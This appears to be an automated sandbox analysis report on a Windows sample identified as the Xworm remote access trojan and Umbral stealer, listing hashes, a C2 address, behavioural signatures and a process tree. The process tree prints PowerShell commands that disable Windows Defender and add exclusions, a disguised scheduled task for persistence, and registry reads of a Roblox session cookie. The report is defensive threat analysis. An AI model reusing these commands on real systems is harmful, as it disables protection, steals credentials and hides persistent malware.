Analysis

  • max time kernel
    94s
  • max time network
    96s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14-05-2024 13:46

General

  • Target

    New_Project_1 (3).exe

  • Size

    486KB

  • MD5

    330f592f3a03c5e2c2ed4593d227f1a8

  • SHA1

    55957a8e8d405569c655923dd9414c4ec6c45a0d

  • SHA256

    0f10ed177734b40d0ca45eed258f8c3ca585323e32db8f3cab7387b61de0e679

  • SHA512

    497f9308a49eb1e9451675f447c5774cbaf267dd77b69e1ab494609feca17a20224ac707e54abcb090ee90e1e8187e9fa681c200bcec97ac1bc36b0ce38d15c2

  • SSDEEP

    12288:cWjF6EjvVYEaZ1hJcSx3ThB6xL3s7H4sn4/OxJrinEXL/sT:p68aZ1hlxlay5HdCuL

Malware Config

Extracted

Family

xworm

C2

reference-elliott.gl.at.ply.gg:37420

Attributes
  • Install_directory

    %Userprofile%

  • install_file

    svchost.exe

Signatures

  • Detect Umbral payload 3 IoCs
  • Detect Xworm Payload 3 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Xworm

    Xworm is a remote access trojan written in C#.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 1 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies registry class 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 20 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 46 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\New_Project_1 (3).exe
    "C:\Users\Admin\AppData\Local\Temp\New_Project_1 (3).exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:960
    • C:\Users\Admin\AppData\Local\Temp\1.exe
      "C:\Users\Admin\AppData\Local\Temp\1.exe"
      2⤵
      • Checks computer location settings
      • Drops startup file
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1176
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\1.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:2116
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '1.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:2268
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\svchost.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:2044
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:3476
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\Admin\svchost.exe"
        3⤵
        • Creates scheduled task(s)
        PID:4112
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /delete /f /tn "svchost"
        3⤵
          PID:412
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp67FC.tmp.bat""
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4828
          • C:\Windows\system32\timeout.exe
            timeout 3
            4⤵
            • Delays execution with timeout.exe
            PID:3108
      • C:\Users\Admin\AppData\Local\Temp\2.exe
        "C:\Users\Admin\AppData\Local\Temp\2.exe"
        2⤵
        • Drops file in Drivers directory
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4460
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" csproduct get uuid
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4956
        • C:\Windows\SYSTEM32\attrib.exe
          "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\2.exe"
          3⤵
          • Views/modifies file attributes
          PID:816
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2.exe'
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2308
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4120
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2848
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3608
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" os get Caption
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4384
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" computersystem get totalphysicalmemory
          3⤵
            PID:2888
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic.exe" csproduct get uuid
            3⤵
              PID:4556
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
              3⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:3372
            • C:\Windows\System32\Wbem\wmic.exe
              "wmic" path win32_VideoController get name
              3⤵
              • Detects videocard installed
              PID:4712
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\2.exe" && pause
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4620
              • C:\Windows\system32\PING.EXE
                ping localhost
                4⤵
                • Runs ping.exe
                PID:3804
        • C:\Users\Admin\svchost.exe
          C:\Users\Admin\svchost.exe
          1⤵
          • Executes dropped EXE
          PID:688

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          2KB

          MD5

          d85ba6ff808d9e5444a4b369f5bc2730

          SHA1

          31aa9d96590fff6981b315e0b391b575e4c0804a

          SHA256

          84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

          SHA512

          8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          944B

          MD5

          6d42b6da621e8df5674e26b799c8e2aa

          SHA1

          ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

          SHA256

          5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

          SHA512

          53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          948B

          MD5

          966914e2e771de7a4a57a95b6ecfa8a9

          SHA1

          7a32282fd51dd032967ed4d9a40cc57e265aeff2

          SHA256

          98d3c70d7004fa807897317bd6cd3e977b9b6c72d4d2565aca0f9f8b1c315cba

          SHA512

          dc39c7124a9c7c8d4c7e8e16290c46360b8d9a8f4e43edaacbbeb09bdcf20159a53db54d2b322372001b6a3de52b2f88e9088b5fdbc7638816ae0d122bb015f5

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          548dd08570d121a65e82abb7171cae1c

          SHA1

          1a1b5084b3a78f3acd0d811cc79dbcac121217ab

          SHA256

          cdf17b8532ebcebac3cfe23954a30aa32edd268d040da79c82687e4ccb044adc

          SHA512

          37b98b09178b51eec9599af90d027d2f1028202efc1633047e16e41f1a95610984af5620baac07db085ccfcb96942aafffad17aa1f44f63233e83869dc9f697b

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          23272afe282560b0a5abad03e415e79b

          SHA1

          d24997643237343f0db0d9ab70e445450c70c795

          SHA256

          b3e29a57ee8c2da3dd7df14e6fd34632246e41950f3efd9ce9d35f1797ece1c9

          SHA512

          bc013bbd6083ef858570cdcdc89f761177f298cc394a0acfc553b2decc61e056459a539037ed67af13c2c4851e20d8df92a1c23d3d0b818a2e585506f28053c4

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          944B

          MD5

          1ff7c767b41e57bd6662b9b45b7e4331

          SHA1

          e484ee08429d6403c5beb97582f2bc88567d2d45

          SHA256

          c37e94da3e67f9473d2f0f51725c4246eefdbd2c01b3603d1b218842afc05048

          SHA512

          310cdae4625b1c391eab4adc7e139da6da6cbc2f8eda386ec6aa23da7967fe3dad6792ccd4bed0a0a320c466363051927ff376487080f77b50bf325098651483

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          944B

          MD5

          22310ad6749d8cc38284aa616efcd100

          SHA1

          440ef4a0a53bfa7c83fe84326a1dff4326dcb515

          SHA256

          55b1d8021c4eb4c3c0d75e3ed7a4eb30cd0123e3d69f32eeb596fe4ffec05abf

          SHA512

          2ef08e2ee15bb86695fe0c10533014ffed76ececc6e579d299d3365fafb7627f53e32e600bb6d872b9f58aca94f8cb7e1e94cdfd14777527f7f0aa019d9c6def

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          944B

          MD5

          e60eb305a7b2d9907488068b7065abd3

          SHA1

          1643dd7f915ac50c75bc01c53d68c5dafb9ce28d

          SHA256

          ad07460e061642c0dd4e7dfa7b821aacce873e290389e72f708e9f3504f9d135

          SHA512

          95c45afec6fa4e0b2a21edd10a6b2dc30568810c67bc9bc34d98ab111c48261f377a370583adb27e08616b0108026c119493b1b093b52ce931117e646b46cb7b

        • C:\Users\Admin\AppData\Local\Temp\1.exe

          Filesize

          88KB

          MD5

          4e4ffd6981f1d7df1e06e02c7a52e86a

          SHA1

          970d227a122a826f587fb49c694a422ec6aff1e0

          SHA256

          353010e5cbdfb234aadfcb40b517b51b24bbac81b64d794d5d8f8b1cd0cd6031

          SHA512

          1f75401fe015416453119bb92ea46c71412f342fe4bf1170bc2655a1c4f1fb4344bdff64df8dfd54f8203b30445225a70f12790432d3b59693e96de2fa5750ec

        • C:\Users\Admin\AppData\Local\Temp\2.exe

          Filesize

          230KB

          MD5

          8068d967a754039c953d677ed75caa65

          SHA1

          c6ca62d0e3f84f4018546cdf40b14ac80b06af95

          SHA256

          b2811334ba1ec945f7f2f1b1976e72dd634a4cf8b5679ceb4c90816d5b646b11

          SHA512

          8f8f9b0c50f3178daa1df6ce16755c7a0de24872a344fe6b93d1a9b11cfad2faa1ed5ad58c6ac9904b889188d8efaba2d51e4240e7a813fffe6878ec8970954c

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dvrwadzs.toi.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Local\Temp\tmp67FC.tmp.bat

          Filesize

          153B

          MD5

          21aa89ba8e808a8b7e9f465cfdcaf76b

          SHA1

          6f9b199641717e1b5957ed48bef7230c04f6cbb4

          SHA256

          a7436f2a7ee223d7e9b66538114eccf70431ddd4ed63e4cabc4f7cd007f749bc

          SHA512

          43cc20d28b2a546a53711e411d8b8f043739e5f533d87daef49ad8a6effc0dda4f49379ea4d4b7fe3deb1eb16ec5ee6d84348387076488b81bbb25d962dfe659

        • memory/960-0-0x0000000000400000-0x000000000047C000-memory.dmp

          Filesize

          496KB

        • memory/1176-264-0x00007FF96DB50000-0x00007FF96E611000-memory.dmp

          Filesize

          10.8MB

        • memory/1176-263-0x000000001B560000-0x000000001B56C000-memory.dmp

          Filesize

          48KB

        • memory/1176-110-0x00000000007F0000-0x000000000080C000-memory.dmp

          Filesize

          112KB

        • memory/1176-276-0x000000001BA80000-0x000000001BB82000-memory.dmp

          Filesize

          1.0MB

        • memory/1176-260-0x00007FF96DB53000-0x00007FF96DB55000-memory.dmp

          Filesize

          8KB

        • memory/1176-192-0x00007FF96DB50000-0x00007FF96E611000-memory.dmp

          Filesize

          10.8MB

        • memory/1176-62-0x00007FF96DB53000-0x00007FF96DB55000-memory.dmp

          Filesize

          8KB

        • memory/1176-277-0x00007FF96DB50000-0x00007FF96E611000-memory.dmp

          Filesize

          10.8MB

        • memory/1176-258-0x000000001BA80000-0x000000001BB82000-memory.dmp

          Filesize

          1.0MB

        • memory/2308-129-0x0000024CA17D0000-0x0000024CA17F2000-memory.dmp

          Filesize

          136KB

        • memory/4460-188-0x0000022CC19B0000-0x0000022CC19BA000-memory.dmp

          Filesize

          40KB

        • memory/4460-252-0x00007FF96DB50000-0x00007FF96E611000-memory.dmp

          Filesize

          10.8MB

        • memory/4460-250-0x0000022CC1400000-0x0000022CC1502000-memory.dmp

          Filesize

          1.0MB

        • memory/4460-189-0x0000022CC26B0000-0x0000022CC26C2000-memory.dmp

          Filesize

          72KB

        • memory/4460-152-0x0000022CC1790000-0x0000022CC17AE000-memory.dmp

          Filesize

          120KB

        • memory/4460-151-0x0000022CC17C0000-0x0000022CC1810000-memory.dmp

          Filesize

          320KB

        • memory/4460-150-0x0000022CC1810000-0x0000022CC1886000-memory.dmp

          Filesize

          472KB

        • memory/4460-123-0x00007FF96DB50000-0x00007FF96E611000-memory.dmp

          Filesize

          10.8MB

        • memory/4460-122-0x0000022CA6FD0000-0x0000022CA7010000-memory.dmp

          Filesize

          256KB